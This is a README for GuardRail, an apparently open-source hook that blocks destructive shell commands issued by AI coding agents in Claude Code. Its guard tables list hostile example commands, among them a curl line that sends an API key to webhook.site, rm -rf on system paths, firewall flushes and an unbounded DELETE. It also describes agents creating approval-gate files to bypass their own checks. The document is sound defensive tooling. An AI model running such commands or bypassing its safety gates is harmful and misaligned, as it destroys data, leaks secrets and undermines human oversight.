Quick Start · 13 Guards · Comparison · Architecture · Pro · EU AI Act · Website
GuardRail blocks what your AI coding agent does, before it does it. 13 free, MIT-licensed guards hook into Claude Code and refuse git push origin main, DELETE without WHERE, rm -rf on protected paths and leaked secrets before the command runs. Every block lands in an audit log.
npx guardrail-agent init # 30 seconds. Backs up your settings. `guardrail uninstall` removes everything.
guardrail pentest # fires dangerous commands at your own install and shows what got caught
<sub>Free forever for the 13 core guards. Teams that need a PII shield on agent output and EU AI Act reports: GuardRail Pro, EUR 29 per developer and month.</sub>
My AI agent tried to mass-delete a production database. One guard said no.
The agent was debugging a slow query. It found the table, decided the data was stale, and ran DELETE FROM profiles. No WHERE clause. 23 databases, every single customer record. Gone in one command.
mass_update_guard stopped it. That guard is one of the 13 you get for free below.
Except it wasn't gone. GuardRail blocked the command before it executed. The agent got a clear error, adjusted its approach, and fixed the actual performance issue instead.
That's the difference between validating what an LLM says and blocking what an AI agent does.
┌──────────────────────────────────────────────────────────────┐
│ $ DELETE FROM profiles │
│ │
│ ✘ BLOCKED by mass_update_guard │
│ DELETE without WHERE clause on protected table: profiles │
│ Command was NOT executed. │
│ │
│ 13 core guards active · fail-closed · no LLM in the path │
└──────────────────────────────────────────────────────────────┘
| 13<sub>Free Guards</sub> | 48<sub>Pro Guards</sub> | 61<sub>Guards Total</sub> | 50+<sub>Attack Patterns Tested</sub> |
<sub>What you actually install. Run guardrail status after install and these are the numbers you see.</sub>
npx guardrail-agent init
That's it. One command. Every command your AI agent runs is now guarded. No config needed.
guardrail status # See active guards
guardrail pentest # Run attack simulation
guardrail disable # Temporarily disable (for debugging)
guardrail enable # Re-enable
guardrail uninstall # Clean removal
Works with Claude Code out of the box (native hook support). Agent-runtime adapters for Codex CLI and Gemini CLI are planned.
Requirements: bash 4+, jq, openssl. Linux or macOS.
Your AI coding agent runs commands on your machine. It can delete files, push to production, leak secrets, drop database tables, and burn through your API budget in a runaway loop. Most safety tools validate prompts or outputs. They catch problems after they happen.
GuardRail catches them before the command executes.
Agent: "Let me clean up the repo"
Agent runs: rm -rf /home/developer/project
┌─────────────────────────────────────────┐
│ ✘ BLOCKED by destructive_path_guard │
│ rm -rf on protected path /home/ │
│ Command was NOT executed. │
└─────────────────────────────────────────┘
Real incidents from our production system that GuardRail stopped:
git reset --hardduring debugging. Would have wiped 3 hours of uncommitted work.DELETE FROM profileswithout WHERE clause. Would have deleted all user data.- Agent tried to
touch /tmp/approval-gateto bypass its own safety checks. - 47 consecutive failed curl attempts (wrong port) before the wandering detector intervened.
All free. All MIT-licensed. Every guard in these tables is installed by
npx guardrail-agent init and runs on every matching tool call.
| Guard | What it stops | Example |
|---|---|---|
main_push_guard |
Direct push to protected branches, force push, reset --hard |
git push origin main |
basic_pii_gate |
Commands that dump environment variables and secrets | env ,printenv ,docker inspect |
basic_secret_detector |
Exfiltration of secrets via curl, wget, or base64 | curl webhook.site -d "$API_KEY" |
destructive_path_guard |
Recursive deletion on protected system paths | rm -rf /home/ ,rm -rf /etc/ |
firewall_flush_guard |
Flushing iptables, disabling ufw, clearing nftables | iptables -F ,ufw disable |
service_protection_guard |
Stopping critical services (docker, sshd, postgres, nginx) | systemctl stop docker |
mass_update_guard |
SQL UPDATE/DELETE without WHERE clause on protected tables | DELETE FROM profiles |
self_bypass_guard |
Agent creating its own approval/gate files | touch /tmp/guardrail-gate-approve |
| Guard | What it stops | Example |
|---|---|---|
edit_path_guard |
File-tool writes to GuardRail's own guards, the hook registry, and persistence paths | Write to.claude/settings.json or~/.ssh/authorized_keys |
edit_secret_guard |
Writing live credentials into files through file tools | Write a file containing an AWS or Stripe key |
| Guard | What it detects | Example |
|---|---|---|
env_dump_detector |
Environment variable dumps in output (even from obfuscated commands) | 10+ KEY=VALUE lines in output |
basic_injection_scanner |
Prompt injection attempts in command output | Malicious instruction patterns |
error_swallow_guard |
Empty catch blocks in payment/webhook/cron code | catch (e) { console.log(e) } |
The repository carries nine further guards under guards/core/
(force_push_guard, deploy_branch_guard, large_diff_guard,
credential_leak_guard, wandering_detector, self_correction_loop,
tool_call_budget_guard, context_window_guard, uncommitted_code_guard).
They have tests, but no dispatcher loads them yet, so they do not run after an
install and are not counted above.
GuardRail operates at a different layer than other AI safety tools:
| GuardRail | Guardrails AI | NeMo Guardrails | Lakera Guard | |
|---|---|---|---|---|
| What it guards | Shell commands before execution | LLM input/output | Conversational AI | Prompt injection |
| When it acts | Before the command runs | After LLM responds | During conversation | Before LLM call |
| Blocks destructive actions | Yes (rm, push, SQL) | No | No | No |
| Detects agent self-bypass | Yes | No | No | No |
| Detects wandering/loops | Yes | No | No | No |
| Credential leak scanning | Yes (output) | No | No | No |
| Dependencies | bash + jq | Python + ML models | Python + LLM calls | SaaS API |
| Install time | 5 seconds | Minutes | Minutes | API signup |
| Cost | Free (MIT) | Free tier + paid | Free | Paid |
| Runtime overhead | <1ms per guard | 50-500ms | 100ms-2s | Network latency |
They are complementary, not competing. Use Guardrails AI to validate LLM responses. Use GuardRail to prevent the agent from executing dangerous commands. Defense in depth.
AI Coding Agent (Claude Code, Cursor, Copilot, ...)
│
▼
┌─────────────────────────┐
│ Pre-Bash Dispatcher │ Runs BEFORE every command
│ ┌───────────────────┐ │
│ │ Guard 1: deny() │──┤──▶ BLOCKED (command never runs)
│ │ Guard 2: pass │ │
│ │ Guard 3: warn() │──┤──▶ WARNED (runs with context)
│ │ ... │ │
│ └───────────────────┘ │
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ Command Executes │
└─────────────────────────┘
│
▼
┌─────────────────────────┐
│ Post-Bash Dispatcher │ Runs AFTER every command
│ ┌───────────────────┐ │
│ │ Output Scanners │──┤──▶ Injection, PII, credentials
│ │ Error Detectors │──┤──▶ Self-correction loops
│ │ State Trackers │──┤──▶ Wandering, budget tracking
│ └───────────────────┘ │
└─────────────────────────┘
│
▼
Audit Log (every decision timestamped + hashed)
Guards are bash functions. No runtime dependencies beyond bash and jq. Each guard runs in <1ms. The full dispatcher adds <5ms to every command, invisible to the agent.
See docs/architecture.md for deep dive.
After installation, customize ~/.guardrail/guardrail.config.sh:
GUARDRAIL_PROTECTED_TABLES="auth.users profiles members payments"
GUARDRAIL_PROTECTED_BRANCHES="main master production"
GUARDRAIL_CRITICAL_SERVICES="docker sshd traefik postgresql nginx"
GUARDRAIL_PROTECTED_PATHS="/home/ /etc/ /var/lib/docker /var/lib/postgresql"
GUARDRAIL_WANDERING_THRESHOLD=3
GUARDRAIL_TOOL_CALL_WARN=25
GUARDRAIL_TOOL_CALL_MAX=50
GUARDRAIL_MAX_DIFF_LINES=500
GUARDRAIL_STRICT_MODE="true"
Create your own:
guardrail new my_custom_guard
This generates a guard template with a matching test. Edit the pattern, run the test, done.
hook_my_custom_guard() {
echo "$CMD" | grep -qE 'npm\s+publish' || return 0
echo "$CMD" | grep -qE '\-\-dry-run' && return 0
deny "npm publish without --dry-run is blocked. Add --dry-run first."
}
See docs/writing-guards.md for the full guide.
$ guardrail status
GuardRail v0.4.6
13 core guards active
Enforcement verified (registered hook and deny probe)
0 pro guards
Unlock 48 Pro guards free for 14 days:
guardrail upgrade --trial
$ guardrail pentest
Phase 3: Attack Simulation
✘ BLOCKED push to main
✘ BLOCKED force push
✘ BLOCKED rm -rf /etc
✘ BLOCKED self-bypass attempt
✘ BLOCKED mass DELETE
✓ ALLOWED push develop (correct)
✓ ALLOWED rm single file (correct)
All 103 tests passed. 0 false positives.
Advanced guards derived from real production incidents:
| Capability | Why it matters |
|---|---|
| Script content analysis | Agent writes payload to file, then runs it. Bypasses command-line guards. |
| Multi-step attack detection | Credential scan followed by exfiltration. Blocked on step 2. |
| PII Shield v2 | ML-powered personal data detection in output (SSN, tax IDs, addresses). |
| Supply chain audit | npm install with known-vulnerable or restrictively-licensed packages. |
| EU AI Act compliance kit | Guard-to-article mapping, PDF audit reports for regulators. |
Plus: Penetration test framework (50+ attack patterns), priority support, compliance documentation.
| Pro EUR 29/dev/month <sub>Managed rules, compliance dashboard, priority support</sub>Get started | Enterprise EUR 49/dev/month <sub>Custom guards, SLA, dedicated onboarding, audit trail export</sub>Contact us |
Using a coding agent does not automatically make a system "high-risk" under the EU AI Act. Classification depends on the system's purpose and context. GuardRail provides technical evidence for a broader governance program:
| Article | Requirement | How GuardRail helps |
|---|---|---|
| Art. 9 | Risk management | Guard classification, penetration test framework |
| Art. 14 | Human oversight | deny() gates with admin approval workflows |
| Art. 12 | Record-keeping | Timestamped audit log with content hashes |
These controls do not create legal compliance alone. Full mapping available in GuardRail Pro.
GuardRail is a seatbelt, not a jail cell. It is an additional enforcement layer, not a sandbox.
What it stops: Accidental damage and most optimization-driven bypasses. AI agents routinely try to work around obstacles to complete their task. They don't plan an escape, but they will try python3 -c "..." when rm is blocked, or write a gate file when one is missing. GuardRail catches these patterns with layered defenses: interactive terminal checks, HMAC-signed tokens, pattern-based command blocking, and audit logging.
What it does not stop: A determined attacker with same-user access who deliberately crafts novel bypass techniques. Since the agent runs as the same OS user, true isolation requires OS-level controls (separate users, containers, network policies).
Your security stack should be:
- GuardRail : catches 99% of real incidents (accidental + optimization-driven)
- Branch protection : prevents force-pushes even if the guard is bypassed
- OS permissions : separate users for production databases
- Network controls : restrict what the agent can reach
See SECURITY.md for vulnerability reporting.
GuardRail's patterns are extracted from a private production system that has run AI coding agents across 13 applications since 2025. That system carries far more guards than this package, most of them tied to its own stack. The 13 core guards here are the universal subset: they work for any codebase, any team, any agent.
Each of them was written in response to something an agent actually did.
"We wanted a community app for our members. Frederik showed us what's possible with AI, and then he just built it. No endless concept phases, just results."
Sebastian Bendler, Managing Director, Golfpark Gut Wensin
- Claude Code : native hook support, zero configuration
- Any bash-based agent : source the dispatcher in your wrapper
Adapters planned for: Codex CLI, Gemini CLI, Aider, Continue.dev
GuardRail is one of five open-source tools that form a complete AI governance stack:
| Tool | What it does |
|---|---|
| GuardRail | Pre-execution security (you are here) |
| Model Router | Shell-native LLM routing. One config, every model. |
| NightShift | Overnight code improvement. Fix lint, types, security while you sleep. |
| Graphify Toolkit | Turn any codebase into a queryable knowledge graph. |
| Autonomie OS | Self-improving agent framework. Learns from every session. |
Each tool works standalone. Together, they run a production system with 81 containers, 225 cron jobs, and zero dedicated ops staff.
Learn the principles behind this stack: 18 free lessons on KI-Governance
The full methodology in book form: Running Without Me. How a solo founder runs 13 applications with AI agents and zero ops staff.
See CONTRIBUTING.md. Browse good first issues.
MIT. See LICENSE.
Built by Prompt & Build.
Patterns extracted from a production system running AI agents across 13 applications.
If GuardRail keeps your agent safe, consider giving it a ⭐. It helps others find it.